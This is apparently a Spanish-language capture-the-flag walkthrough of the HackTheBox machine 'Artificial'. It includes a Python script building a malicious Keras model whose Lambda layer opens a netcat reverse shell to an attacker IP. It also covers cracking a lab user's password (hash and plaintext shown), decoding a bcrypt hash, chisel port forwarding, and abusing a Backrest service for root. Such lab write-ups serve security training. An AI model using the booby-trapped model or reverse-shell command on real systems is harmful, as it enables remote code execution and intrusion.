Skip to content

Artificial HTB Write Up

alt text

IP Machine: 10.10.11.74

Acceso Inicial

Esta es una máquina realmente fácil, así que avancemos y vayamos al sitio web:

Y registrémonos.

alt text

Una vez hecho eso, iniciemos sesión y aquí tenemos una funcionalidad de carga de archivos.

![[Pasted image 20250621225415.png]]

Creating a Malicious TensorFlow Model

Para obtener una shell, creé este script en python3 y lo ejecuté.

import tensorflow as tf
import os

def exploit(x):
    import os
    os.system("rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.XX.XX 4444 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Subamos entonces ese exploit.h5.

![[Pasted image 20250621225837.png]]

Una vez subido, hagamos clic en "view predictions" (ver predicciones) y esto activará la reverse shell.

![[Pasted image 20250621225926.png]]

Y se activó.

![[Pasted image 20250621230018.png]]

Descarga e Inspección de la Base de Datos

Para la flag de usuario, vayamos a esa ruta.

![[Pasted image 20250621230141.png]]

Y nos la descargaremos.

![[Pasted image 20250621231109.png]]

Una vez descargada, usemos sqlite3.

![[Pasted image 20250621231136.png]]

Descifremos la contraseña de gael. Y obtenemos esto:

c99175974b6e192936d97224638a34f8:mattp005numbertwo

SSH Access as User

Iniciemos sesión mediante ssh.

Descubrimiento del Servicio Backrest y Análisis del Archivo de Respaldo

Si investigamos más en la máquina, podemos encontrar que hay un servicio en ejecución, backrest. Si vamos a los backups (respaldos).

![[Pasted image 20250621232542.png]]

Podemos ver el respaldo de backrest, así que lo descargué y luego fui a.

![[Pasted image 20250621232601.png]]

Aquí tenemos el hash bcrypt en base64 del servicio en ejecución, así que descifrémoslo.

echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d | tee roothash

Así que descifrémoslo y tenemos ese valor.

![[Pasted image 20250621232807.png]]

También tenemos el usuario, así que probemos si son válidos.

backrest_root:!@#$%^

Configuración de Chisel para Port Forwarding

Para ello necesitamos subir chisel

Ejecutémoslo con estos parámetros

Tu Kali

./chisel server --port 5555 --reverse

En el servidor

./chisel client 10.10.XX.XX 5555 R:9898:127.0.0.1:9898

Acceso a la Interfaz Web de Backrest

Vayamos a localhost:9898 en nuestra máquina e iniciemos sesión con las credenciales que encontramos.

Explotación de Backrest y Obtención de Root

Una vez allí, agreguemos un repositorio.

![[Pasted image 20250621233022.png]]

Así que agreguemos un repositorio y pongamos solo esto.

![[Pasted image 20250621233147.png]]

Una vez hecho, enviemos (submit), y obtenemos root.

![[Pasted image 20250621233252.png]]

Autor: Astro